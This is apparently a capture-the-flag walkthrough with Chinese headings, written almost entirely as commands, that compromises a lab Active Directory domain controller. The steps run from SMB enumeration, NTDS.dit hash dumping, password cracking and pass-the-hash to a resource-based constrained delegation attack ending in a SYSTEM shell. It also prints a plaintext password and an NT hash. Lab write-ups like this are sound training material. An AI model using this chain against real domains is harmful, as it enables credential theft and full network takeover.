nmap -sC -sV -p- 192.168.122.175
重點:
enum4linux -a 192.168.122.175
重點:
crackmapexec smb 192.168.122.175 -u 'V.Ventz' -p 'HotelCalifornia194!' --shares
重點:
```
smbclient //192.168.122.175/'Password Audit' -U 'V.Ventz' \
-c "recurse ON; prompt OFF; mget *"
```
```
smbclient //192.168.122.175/SYSVOL -U 'V.Ventz' \
-c "recurse ON; prompt OFF; mget *"
```
重點:
impacket-secretsdump -ntds "Active Directory/ntds.dit" -system registry/SYSTEM LOCAL
重點:
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT ADUser.hash
重點:
crackmapexec winrm 192.168.122.175 -u L.Livingstone -H ADUser.hash
結果:
進入主機
evil-winrm -i 192.168.122.175 -u L.Livingstone -H 19a3a7550ce8c505c2d46b5e39d6f808
whoami /priv
重點:
收集:
upload SharpHound.ps1
powershell -ep bypass
. .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory .
分析:
impacket-addcomputer resourced.local/l.livingstone \
-dc-ip 192.168.122.175 \
-hashes :19a3a7550ce8c505c2d46b5e39d6f808 \
-computer-name 'chw' -computer-pass 'chw'
驗證:
Get-ADComputer user
python3 /path/to/impacket/examples/rbcd.py \
-dc-ip 192.168.122.175 \
-t RESOURCEDC \
-f 'chw' \
-hashes :19a3a7550ce8c505c2d46b5e39d6f808 \
resourced.local\\l.livingstone
重點:
impacket-getST -spn cifs/resourcedc.resourced.local \
'resourced.local/chw$':'chw' \
-impersonate Administrator \
-dc-ip 192.168.122.175
hosts 對應:
echo "192.168.122.175 resourcedc.resourced.local" | sudo tee -a /etc/hosts
sudo KRB5CCNAME=Administrator@cifs_resourcedc.resourced.local@RESOURCED.LOCAL.ccache \
impacket-psexec -k -no-pass \
resourced.local/Administrator@resourcedc.resourced.local \
-dc-ip 192.168.122.175
驗證:
whoami
:: nt authority\system
取得 Root Flag。